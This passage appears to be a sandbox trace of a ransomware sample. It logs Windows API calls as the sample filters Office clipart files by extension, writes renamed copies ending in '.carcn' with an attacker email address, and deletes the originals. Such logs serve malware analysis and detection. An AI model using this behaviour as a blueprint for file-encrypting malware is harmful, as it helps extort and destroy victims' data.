Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0256.826] lstrlenW (lpString=".jpg") returned 4 [0256.826] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0256.827] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0256.827] lstrlenW (lpString="AG00163_.GIF") returned 12 [0256.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440 [0256.828] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=6984) returned 1 [0256.828] CloseHandle (hObject=0x440) returned 1 [0256.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 0x220 [0256.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0256.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440 [0256.829] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.829] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0256.829] GetLastError () returned 0x0 [0256.829] ReadFile (in: hFile=0x440, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x1b48, lpOverlapped=0x0) returned 1 [0256.852] WriteFile (in: hFile=0x494, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x1b50, lpOverlapped=0x0) returned 1 [0256.853] ReadFile (in: hFile=0x440, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0256.853] WriteFile (in: hFile=0x494, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0256.853] SetEndOfFile (hFile=0x494) returned 1 [0256.853] CloseHandle (hObject=0x494) returned 1 [0256.856] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.856] SetEndOfFile (hFile=0x440) returned 1 [0257.154] CloseHandle (hObject=0x440) returned 1 [0257.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0257.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0257.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0257.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0257.158] lstrlenW (lpString=".doc") returned 4 [0257.158] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0257.158] lstrlenW (lpString=".docx") returned 5 [0257.158] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0257.158] lstrlenW (lpString=".pdf") returned 4 [0257.158] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0257.158] lstrlenW (lpString=".xls") returned 4 [0257.158] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0257.158] lstrlenW (lpString=".xlsx") returned 5 [0257.158] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0257.158] lstrlenW (lpString=".ppt") returned 4 [0257.232] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0257.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0257.232] lstrlenW (lpString=".zip") returned 4 [0257.233] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0257.233] lstrlenW (lpString=".rar") returned 4 [0257.233] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0257.233] lstrlenW (lpString=".bz2") returned 4 [0257.233] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0257.233] lstrlenW (lpString=".7z") returned 3 [0257.233] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0257.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0257.233] lstrlenW (lpString=".dbf") returned 4 [0257.233] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0257.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0257.233] lstrlenW (lpString=".1cd") returned 4 [0257.233] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0257.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0257.233] lstrlenW (lpString=".jpg") returned 4 [0257.233] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0257.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0257.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0257.233] lstrlenW (lpString=".doc") returned 4 [0257.233] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0257.233] lstrlenW (lpString=".docx") returned 5 [0257.233] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0257.233] lstrlenW (lpString=".pdf") returned 4 [0257.233] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0257.233] lstrlenW (lpString=".xls") returned 4 [0257.233] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0257.233] lstrlenW (lpString=".xlsx") returned 5 [0257.233] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0257.233] lstrlenW (lpString=".ppt") returned 4 [0257.234] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0257.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0257.234] lstrlenW (lpString=".zip") returned 4 [0257.234] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0257.234] lstrlenW (lpString=".rar") returned 4 [0257.234] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0257.234] lstrlenW (lpString=".bz2") returned 4 [0257.234] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0257.234] lstrlenW (lpString=".7z") returned 3 [0257.234] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0257.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0257.234] lstrlenW (lpString=".dbf") returned 4 [0257.234] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0257.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0257.234] lstrlenW (lpString=".1cd") returned 4 [0257.234] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0257.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0257.234] lstrlenW (lpString=".jpg") returned 4 [0257.234] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0257.234] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0257.234] lstrlenW (lpString="AG00171_.GIF") returned 12 [0257.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0257.235] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=5016) returned 1 [0257.235] CloseHandle (hObject=0x498) returned 1 [0257.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 0x220 [0257.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0257.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0257.236] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.236] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0257.238] GetLastError () returned 0x0 [0257.238] ReadFile (in: hFile=0x498, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x1398, lpOverlapped=0x0) returned 1 [0257.250] WriteFile (in: hFile=0x4a0, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x13a0, lpOverlapped=0x0) returned 1 [0257.251] ReadFile (in: hFile=0x498, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0257.252] WriteFile (in: hFile=0x4a0, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0257.252] SetEndOfFile (hFile=0x4a0) returned 1 [0257.252] CloseHandle (hObject=0x4a0) returned 1 [0257.253] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.253] SetEndOfFile (hFile=0x498) returned 1 [0257.257] CloseHandle (hObject=0x498) returned 1 [0257.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0257.257] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0257.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0257.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0257.258] lstrlenW (lpString=".doc") returned 4 [0257.258] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0257.258] lstrlenW (lpString=".docx") returned 5 [0257.258] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0257.258] lstrlenW (lpString=".pdf") returned 4 [0257.258] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0257.258] lstrlenW (lpString=".xls") returned 4 [0257.258] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0257.258] lstrlenW (lpString=".xlsx") returned 5 [0257.259] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0257.259] lstrlenW (lpString=".ppt") returned 4 [0257.259] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0257.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0257.259] lstrlenW (lpString=".zip") returned 4 [0257.259] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0257.259] lstrlenW (lpString=".rar") returned 4 [0257.259] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0257.259] lstrlenW (lpString=".bz2") returned 4 [0257.259] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0257.259] lstrlenW (lpString=".7z") returned 3 [0257.259] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0257.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0257.259] lstrlenW (lpString=".dbf") returned 4 [0257.259] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0257.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0257.259] lstrlenW (lpString=".1cd") returned 4 [0257.259] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0257.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0257.259] lstrlenW (lpString=".jpg") returned 4 [0257.259] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0257.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0257.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0257.259] lstrlenW (lpString=".doc") returned 4 [0257.259] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0257.259] lstrlenW (lpString=".docx") returned 5 [0257.259] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0257.259] lstrlenW (lpString=".pdf") returned 4 [0257.259] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0257.260] lstrlenW (lpString=".xls") returned 4 [0257.260] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0257.260] lstrlenW (lpString=".xlsx") returned 5 [0257.260] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0257.260] lstrlenW (lpString=".ppt") returned 4 [0257.260] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0257.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0257.260] lstrlenW (lpString=".zip") returned 4 [0257.260] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0257.260] lstrlenW (lpString=".rar") returned 4 [0257.260] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0257.260] lstrlenW (lpString=".bz2") returned 4 [0257.260] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0257.260] lstrlenW (lpString=".7z") returned 3 [0257.260] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0257.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0257.260] lstrlenW (lpString=".dbf") returned 4 [0257.260] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0257.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0257.260] lstrlenW (lpString=".1cd") returned 4 [0257.260] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0257.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0257.260] lstrlenW (lpString=".jpg") returned 4 [0257.260] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0257.260] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0257.260] lstrlenW (lpString="AG00172_.GIF") returned 12 [0257.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0257.261] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=4390) returned 1 [0257.261] CloseHandle (hObject=0x498) returned 1 [0257.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 0x220 [0257.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0257.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0257.262] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.262] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0257.262] GetLastError () returned 0x0 [0257.262] ReadFile (in: hFile=0x498, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x1126, lpOverlapped=0x0) returned 1 [0257.383] WriteFile (in: hFile=0x4a0, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x1130, lpOverlapped=0x0) returned 1 [0257.386] ReadFile (in: hFile=0x498, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0257.386] WriteFile (in: hFile=0x4a0, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0257.386] SetEndOfFile (hFile=0x4a0) returned 1 [0257.386] CloseHandle (hObject=0x4a0) returned 1 [0257.387] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.387] SetEndOfFile (hFile=0x498) returned 1 [0257.390] CloseHandle (hObject=0x498) returned 1 [0257.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0257.391] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0257.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0257.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0257.392] lstrlenW (lpString=".doc") returned 4 [0257.392] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0257.392] lstrlenW (lpString=".docx") returned 5 [0257.392] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0257.392] lstrlenW (lpString=".pdf") returned 4 [0257.392] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0257.392] lstrlenW (lpString=".xls") returned 4 [0257.392] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0257.392] lstrlenW (lpString=".xlsx") returned 5 [0257.392] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0257.392] lstrlenW (lpString=".ppt") returned 4 [0257.392] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0257.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0257.392] lstrlenW (lpString=".zip") returned 4 [0257.392] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0257.392] lstrlenW (lpString=".rar") returned 4 [0257.392] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0257.392] lstrlenW (lpString=".bz2") returned 4 [0257.392] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0257.392] lstrlenW (lpString=".7z") returned 3 [0257.392] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0257.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0257.392] lstrlenW (lpString=".dbf") returned 4 [0257.392] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0257.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0257.393] lstrlenW (lpString=".1cd") returned 4 [0257.393] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0257.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0257.393] lstrlenW (lpString=".jpg") returned 4 [0257.393] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0257.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0257.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0257.393] lstrlenW (lpString=".doc") returned 4 [0257.393] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0257.393] lstrlenW (lpString=".docx") returned 5 [0257.393] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0257.393] lstrlenW (lpString=".pdf") returned 4 [0257.393] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0257.393] lstrlenW (lpString=".xls") returned 4 [0257.393] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0257.393] lstrlenW (lpString=".xlsx") returned 5 [0257.393] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0257.393] lstrlenW (lpString=".ppt") returned 4 [0257.393] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0257.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0257.393] lstrlenW (lpString=".zip") returned 4 [0257.393] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0257.394] lstrlenW (lpString=".rar") returned 4 [0257.394] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0257.394] lstrlenW (lpString=".bz2") returned 4 [0257.394] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0257.394] lstrlenW (lpString=".7z") returned 3 [0257.394] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0257.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0257.394] lstrlenW (lpString=".dbf") returned 4 [0257.394] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0257.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0257.394] lstrlenW (lpString=".1cd") returned 4 [0257.394] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0257.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0257.394] lstrlenW (lpString=".jpg") returned 4 [0257.394] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0257.394] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0257.394] lstrlenW (lpString="AN00010_.WMF") returned 12 [0257.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 